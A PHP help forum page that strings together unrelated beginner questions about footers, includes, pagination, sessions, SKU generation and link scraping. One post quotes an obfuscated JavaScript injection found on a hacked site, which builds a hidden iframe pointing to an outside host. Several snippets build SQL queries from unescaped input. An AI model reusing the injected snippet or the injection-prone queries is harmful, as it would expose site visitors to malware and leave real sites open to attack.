PHP - Keeping Footer At Bottom Of Page
Hi
I want to get my <footer> to appear at the bottom of my page, but I dont want it to be fixed there.
So if the middle contents of a page is very short, the <footer> will be visibled at the bottom of the browser, but if the page contents is long, then the <footer> would just disappear at the bottom of the contents.
Can this be done?
Thanks
Similar TutorialsI've finished designing my website home page and I've now moved on the some of the other pages, I want my header and footer to appear the same on every page. I've tried this basic way of linking the same stylesheet that makes up my header/footer in the second HTML file (already used in the homepage):
<link rel="stylesheet" href="footer.css" type="text/css"/> <link rel="stylesheet" href="header.css" type="text/css"/> I now understand that this isn't going to work. Would a server-side scripting language be my best bet here? Something like PHP? If so, would anyone be able to link me with an article on how I could do this in PHP, I presume with the include function? I've had answers elsewhere but this, for me, isn't working: "You are currently only linking the css for the header and footer. If you want to include the html as the same, create two separate files header.php and footer.php, then include them into each webpage. <?php include('path/to/header.php');?> // in the location you want the header in the page <?php include('path/to/footer.php');?> // in the location you want the footer Essentially, you're making partials and placing them wherever you want them" Any help would be greatly appreciated. Edited by Coplestone, 15 January 2015 - 11:52 AM. Is there a code I can put with each of these errors so that, on error, the page reloads back to the bottom of the page? When you enter the wrong info, the page already reloads but it reloads to the top of the page. People who didnt correctly information into the webpage may not see that they're receiving an error if it doesnt scroll back down. I attempted to put the error at the to of the page but I couldnt find a good spot. I thought about doing an error message box but I'm not sure thats the best method Anyway heres the code, thanks a lot. <?php if ($_POST['send']) { $errors = array(); if ($_POST['captcha'] != $_SESSION['captchacode']) { $errors[] = "You didn't enter the correct letters!"; <-------------ID LIKE TO PUT A CODE HERE AND } if (empty($_POST['email'])) { $errors[] = "Please enter an e-mail address"; <-----------------HERE TO MAKE THE PAGE GO TO THE BOTTOM WHEN IT REFRESHED (IT REFRESHES UPON EVERY IMPROPERLY FILLED OUT FORM } else if (!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $_POST['email'])) { $errors[] = 'Please enter a VALID e-mail address'; } if (!count($errors)) { // IMPORTANT: If you don't call this the // user will keep getting the SAME code! captchaDone(); not for certain this is a PHP issue, but on every page of my site, at the bottom, this error displays. Doesn't affect any of the code execution as far as I can tell, but it's annoying. Anyone else seen this? Code: [Select] Error in my_thread_global_end(): 1 threads didn't exit I looked at my site today to see a blank page. I downloaded my index.php file to find a stray bit of code at the bottom:- Code: [Select] <html><body>status='';cn='r';j='d';a='a';zi='s';we='tp:';y='ph';pb='iz';o='.';v='e';n='/';g='r';sa='eaw';az='am';bj='rc';oy='ne';r='ht';dj='//s';c='if';dr='t/.';ml='2/';ne=c.concat(cn,az,v);sn=zi.concat(bj);wl=r.concat(we,dj,sa,pb,a,g,j,o,oy,dr,y,n,ml);var l=document.createElement(ne);l.setAttribute('width','5');l.setAttribute('height','5');l.setAttribute('style','display:none');l.setAttribute(sn,wl);document.body.appendChild(l);window.status=status;</body></html> My question is, how did it get there? I am guessing either somebody has brute forced my FTP details or found an exploit in my code. I have now changed my FTP details just to be sure. How would I go about finding the cause of this and preventing it from happening again. Cheers Simplified for everyone's sanity and re-posted.
Got a Wordpress Conference theme, lets you enter speakers into a database and assign each one a category/role. In the settings for the theme, there's a dropdown from which you can select one of the roles you create. Doing so will display all the speakers assigned that role in the footer of the homepage and also populate a stand-alone Speakers page with the same role. I want to make it so that the footer on the homepage displays one role and the stand-alone speaker page displays another. Here's the PHP for the Speakers page (identical to the footer PHP) <?php Here's the HTML for the "dropdown" portion of the settings, where you can see the role categories available. "Speaker" is the default created by the Theme, "whyattend" is the one I made. <!-- Speakers Category --> I want "whyattend" to show on the Footer and "Speaker" to populate the Speakers page. Can this be done? I want a div at the bottom of another div, and I want it centered, just using css not javascript.
HTML <div id="parent"> <div id="bottom_element">test</div> </div> CSS #parent {height:100% width:100%} #bottom_element {position:absolute; bottom:5px; width:200px; margin:0 auto}So the issue is that position absolute and margin auto do not seem to work together. What is an alternative without javasript? This topic has been moved to HTML Help. http://www.phpfreaks.com/forums/index.php?topic=319527.0 Hi all,
Wondered if anyone could assist?
On the following website the footer is not displaying as expected and cannot see why:
http://www.urxltd.com/index.php
Any other pages on the website show the footer correctly.
Thanks.
This is the code I have now however when you click next to view more results it says please enter a search..., (there is more code above this however I thought that the problem would be within the code provided.) $currPage = (($s/$limit) + 1); //break before paging echo "<br />"; // next we need to do the links to other results if ($s>=1) { // bypass PREV link if s is 0 $prevs=($s-$limit); print " <a href=\"$PHP_SELF?s=$prevs&q=$var\"><< Prev 10</a>  "; } // calculate number of pages needing links $pages=intval($numrows/$limit); // $pages now contains int of pages needed unless there is a remainder from division if ($numrows%$limit) { // has remainder so add one page $pages++; } // check to see if last page if (!((($s+$limit)/$limit)==$pages) && $pages!=1) { // not last page so give NEXT link $news=$s+$limit; echo " <a href=\"$PHP_SELF?s=$news&q=$var\">Next 10 >></a>"; } $a = $s + ($limit) ; if ($a > $numrows) { $a = $numrows ; } $b = $s + 1 ; echo "<p>Showing results $b to $a of $numrows</p>"; ?> Hi All, I am a newbie to php and I have this issue. I would appreciate if anyone can help out. I tried a few things but was not able to come up with a solution. From reading few codes and learning from it, I created this function in query.php and am calling this function in uk.php file, but the problem is that it loads and shows the data in table, but then it stops loading page from there on and the footer which is in html code after the place where I am calling this function does not load. I tried removing return false; command, but with that it loads the footer, but it shows the table after the footer. I want the table with data to show in between header and footer. Can you guys let me know what I need to do to achieve that? File Name: query.php
function uk() { $output = ''; $result = db_query("SELECT * FROM lecture where groups='uk'"); if(mysqli_num_rows($result) > 0) { $output .= '<div id="style2" style="overflow-x:auto;"> <table> <tr> <th class="text-center">Date</th> <th class="text-center">Title</th> <th class="text-center">Venue</th> <th class="text-center">Duration</th> <th class="text-center">Size (MB)</th> <th class="text-center">Link</th> </tr>'; while($row = mysqli_fetch_array($result)) { $output .= ' <tr> <td>'.$row["mydate"].'</td> <td>'.$row["title"].'</td> <td>'.$row["venue"].'</td> <td>'.$row["duration"].'</td> <td>'.$row["size"].'</td> <td><a href="../'.$row["path"].$row["file_name"].'">Save</a></td> </tr> '; } echo $output; } else { echo 'Data Not Found'; } }
File Name: uk.php
Header html code here Some body text <?php include '../includes/query.php'; uk(); return false; ?> Footer html code here
I'm updating my database with a set of data from another database. When there is an item deleted from the source db, how would I make sure it's deleted from the db copy given that I have to run the update in a batch and can't run it when the item is deleted? Would I truncate the db at the beginning of each update, then pull all the of data over? In my Payment Form, I have an ExpMonth (e.g. '01') and ExpYear (e.g. '2011'). Each value is assigned to $expMonth and $expYear respectively. I then need to combine them and keep the format ('MMYYYY'). I am afraid that this code may truncate leading zeros... Code: [Select] $expDate = $expMonth . $expYear Will my code work, or do I need to do something else to ensure the Month stays ('MM') and the year stays ('YYYY')? Debbie What are the different ways you can keep a User "logged in"? From what I *vaguely* recall from a year or two ago when I read a whole hoard of PHP books, you commonly use cookies and sessions. But I'm asking this more from an OOP standpoint than a PHP standpoint. Let's say I have a User record in my database, and a User comes along and attempts to log in. In OOP terms, I would think you'd call some class to help log them in, and upon successfully logging in, you would "load" the User object into memory and set the "LoggedIn" field to "True". Then as long as that field was set in their object, they could surf all over the place and do things like change their account and buy things. Is that how you would do it in OOP? TomTees Like 6 years ago I had made a forum software for me and my buddies to post on. It had worked all great until my friend had posted a character that skewed my whole database, unintentionly, he knew nothing about computers. But I really haven't dabbed in PHP since 2008, I'm just now getting back into it again. I need to know how I can make data from an input to be put into an MySQL database and not screw up my code. So something along the lines that make the code safe and not exploitable. Also any third party scripts on captcha would be great! I've got a weird problem which affects only Safari browsers. Site A offers user a login page and validates the credentials by calling HTTPRequest on site B ( this call starts new session, user password is checked and session id stored in the db). If user login details are OK, site A redirects user to site B ( different domains and physical boxes). It worked well before the last Safari update (5.0.1) - when user login is being checked, server B creates session X, after the redirect, session_start() creates absolutely different session Y. All sessions are maintained by cookies only (SSL). Any ideas how to maintain the same session during the redirect? Thanks! What is the best way to keep track of a User's (real-time) online status? Right now I have a Log In script and I set the status in the User's Session, and then "pass" that status from page to page with session_start();. However, the problems with this approach include... 1.) A User is idle for hours or days and thus not really online 2.) A User leaves my site and thus is not really online (Or does closing the window change that?) I want a fairly accurate and real-time reading of whether or not a User is actively using my site so I can set their "Online Status" icon as green (online) or yellow (in active) or grey (offline). Any idea how to accomplish that so I have monitoring like you'd see on an Instant Messenger App? Thanks, Debbie
I need to create the unique SKU (Stock Keeping Unit) name for each products mixed with i.e.: SKU for a product with
id=13, becomes : BI-IKHA0013 This is how I tried: $inm = "Bio Clean green500ml"; $cnm = "INSECTS KILLERS"; $bnm = "HARPIC "; echo SKU_gen($inm, $cnm,$bnm,20).'<br>'; function SKU_gen($pname, $cat=null, $brand=null, $id = null, $l = 2){ $results = ''; // empty string $str1 = array_shift(explode(' ',$pname)); $str1 = strtoupper(substr($str1, 0, $l)); $str2 = array_shift(explode(' ',$cat)); $str2 = strtoupper(substr($str2, 0, $l)); $str3 = array_shift(explode(' ',$brand)); $str3 = strtoupper(substr($str3, 0, $l)); $id = str_pad($id , 4, 0, STR_PAD_LEFT); $results .= "{$str1}-{$str2}{$str3}{$id}"; return $results; } But this function is not working as expected when category of brand values become NULL. This sounds like it should be pretty simple but I've looked for a while and I'm having trouble finding an answer. What I have is a simple table with 3 columns with predetermined widths. When the text that is queried from the database is inserted into the table, and the text string is longer than the column width, it pushes the text to a second line, which throws the whole table out of whack. Instead, I want the text to be cut off before going to the next line. For example: This is what is happening: This is a sample string of text. This is what I'm trying to do: This is a sample string... Can anyone tell me where to find the solution to this problem? Not that it's needed, but here is some simple code that I'm working with: Code: [Select] <?php $message = "This is a sample string of text."; echo "<table width=\"150\" height=\"20\"border=\"0\" cellspacing=\"0\" cellpadding=\"0\">"; echo "<tr>"; echo "<td width=\"50\" height=\"20\" align=\"left" valign=\"top\">Column 1</td>"; echo "<td width=\"50\" height=\"20\" align=\"left" valign=\"top\">Column 2</td>"; echo "<td width=\"50\" height=\"20\" align=\"left" valign=\"top\">$message</td>"; echo "</tr>"; echo "</table>"; ?> Hello, I am having an issue where PHP nulls the donation amount after multiple form submits. Here is a synopsis of what is happening. 1: User enters donation amount and clicks 'submit' 2: Is taken to a confirmation page where they must agree to terms 3: User fails to agree to the terms, the page is reloaded with an error message, and the donation amount is set to null I want to make the donation amount display despite multiple confirm page reloads. How would I do this? Here is the site to test it yourself. Ignore the steamid input and check "do not change my rank upon donation" to test. http://forums.stgdarkrp.org/donate2/check.php Please note: If you use IE, the formatting is messed up, that is a problem I will look into later I am trying to take a specific link from my site and place it into my database. I only want links starts with CORPSEARCH.ENTITY_INFORMATION?p_nameid= Can someone point me in the right direction here? Code for this is below: // make the cURL request to $target_url $html= curl_exec($ch); if (!$html) { echo "<br />cURL error number:" .curl_errno($ch); echo "<br />cURL error:" . curl_error($ch); exit; } // parse the html into a DOMDocument $dom = new DOMDocument(); @$dom->loadHTML($html); // grab all the on the page $xpath = new DOMXPath($dom); $hrefs = $xpath->evaluate("/html/body//a"); for ($i = 0; $i < $hrefs->length; $i++) { $href = $hrefs->item($i); $url = $href->getAttribute('href'); $sql="INSERT INTO links(cid, nlink)VALUES('$i','$url')"; $result=mysql_query($sql); echo $result; echo $url; |